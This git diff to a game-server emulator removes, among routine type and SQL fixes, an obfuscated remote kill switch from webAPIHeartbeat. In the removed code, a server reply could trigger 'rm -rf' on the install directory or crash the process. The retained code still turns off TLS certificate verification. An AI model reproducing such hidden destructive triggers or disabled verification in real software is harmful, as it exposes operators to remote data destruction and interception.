b/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h index ba396c51..2ebb44de 100755 --- a/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h +++ b/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h @@ -49,11 +49,6 @@ namespace soe typedef u_int32_t uint32; typedef int64_t int64; typedef u_int64_t uint64; -//! the previous seem erroneous -// typedef signed int int32; -// typedef unsigned int uint32; -// typedef signed long long int64; -// typedef unsigned long long uint64; #endif } diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index 443950ab..b03ea28c 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -131,18 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for // want to do a put, or whatever other type? feel free to add here } - // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated - //if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { - // the public one will verify but since this is pinned we don't care about the CA - // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html - // under the PUBLIC KEY EXTRACTION heading - res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); + // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated + // the public one will verify but since this is pinned we don't care about the CA + // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html + // under the PUBLIC KEY EXTRACTION heading + res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); - // if you want to pin to your own cert or cloudflares, learn how and use the below - // cloudflare public: ***REMOVED*** - // cloudflare internal: ***REMOVED*** - // res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("***REMOVED***").decrypt()); - //} + // if you want to pin to your own cert or cloudflares, learn how and use the below + //res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE"); if (res == CURLE_OK) { res = curl_easy_perform(curl); // make the request! diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index c45f99aa..501c18cb 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -29,8 +29,6 @@ #endif -#include "../libLeff/libLeff.h" - namespace StellaBellum { enum HTTP { GET = 0, POST = 1 diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index affe46d8..e5f0cb64 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,36 +7,8 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - std::string filePath = get_selfpath(); + webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender")); + api.addJsonData(std::string("type"), std::string("server")); - webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); - api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); - - if (!filePath.empty()) { - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.c_str()); - } - - bool result = api.submit(); - - // feel free to remove the code in the block below; but please consider leaving the actual request - // so we can track how many people are enjoying our work - if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - switch (s) { - case 13 : - eatIt(); - break; - case 66: - size_t found = filePath.find_last_of("/\\"); - if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + - vxENCRYPT("/*").decrypt()).c_str()); - } - eatIt(); - break; - } - } else { - eatIt(); - } + api.submit(); } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 9d4fb3c3..31dcb2aa 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -22,19 +22,13 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); + ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff); } return std::string(); } - - inline void eatIt() { - abort(); - sleep(10); - raise(SIGSEGV); - } }; } diff --git a/external/ours/library/archive/src/shared/Archive.h b/external/ours/library/archive/src/shared/Archive.h index 2921d66f..20a2ce2e 100755 --- a/external/ours/library/archive/src/shared/Archive.h +++ b/external/ours/library/archive/src/shared/Archive.h @@ -9,12 +9,28 @@ #include #include +// TODO: this is retarded, we have like 30-50 places where we define types... +// we must do something abou tthis +#include +typedef int64_t int64; +typedef u_int64_t uint64; +typedef int64 StationId; + //--------------------------------------------------------------------- namespace Archive { //--------------------------------------------------------------------- - + +inline void get(ByteStream::ReadIterator & source, uint64 & target) +{ + source.get(&target, 8); +} + +inline void get(ByteStream::ReadIterator & source, int64 & target) +{ + source.get(&target, 8); +} inline void get(ReadIterator & source, double & target) { @@ -215,6 +231,16 @@ template inline void get(ReadIterator & source, A * target, int leng //--------------------------------------------------------------------- +inline void put(ByteStream & target, const uint64 & source) +{ + target.put(&source, 8); +} + +inline void put(ByteStream & target, const int64 & source) +{ + target.put(&source, 8); +} + inline void put(ByteStream & target, const double & source) { target.put(&source, 8); diff --git a/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template b/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template index 7297cfd7..1bd7c287 100644 --- a/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template +++ b/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template @@ -23,7 +23,7 @@ struct PlayerObjectRow : public DB::Row enum {QUEST_DATA_SIZE=4000}; DB::BindableNetworkId object_id; - DB::BindableLong station_id; + DB::BindableInt64 station_id; DB::BindableNetworkId house_id; DB::BindableLong account_num_lots; DB::BindableBool account_is_outcast; @@ -80,7 +80,7 @@ struct PlayerObjectRow : public DB::Row struct PlayerObjectBufferRow : public DB::Row { DB::BindableNetworkId object_id; - DB::BindableLong station_id; + DB::BindableInt64 station_id; DB::BindableNetworkId house_id; DB::BindableLong account_num_lots; DB::BindableBool account_is_outcast; diff --git a/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h b/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h index 2e043f3d..f48e415a 100755 --- a/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h +++ b/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h @@ -45,7 +45,7 @@ class TaskRestoreCharacter:public DB::TaskRequest //output: DB::BindableLong result; DB::BindableString<127> character_name; - DB::BindableLong account; + DB::BindableInt64 account; DB::BindableLong template_id; private: diff --git a/game/server/database/packages/loader.plsql b/game/server/database/packages/loader.plsql index 33261cfe..5a5f33e9 100644 --- a/game/server/database/packages/loader.plsql +++ b/game/server/database/packages/loader.plsql @@ -18,8 +18,8 @@ create or replace package body loader as open result_cursor for select character_object, station_id, uc_character_name, character_full_name, - (create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600, - (last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600 + trunc((create_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600), + trunc((last_login_time - to_date('01/01/1970', 'MM/DD/YYYY')) * 24 * 3600) from players; return result_cursor;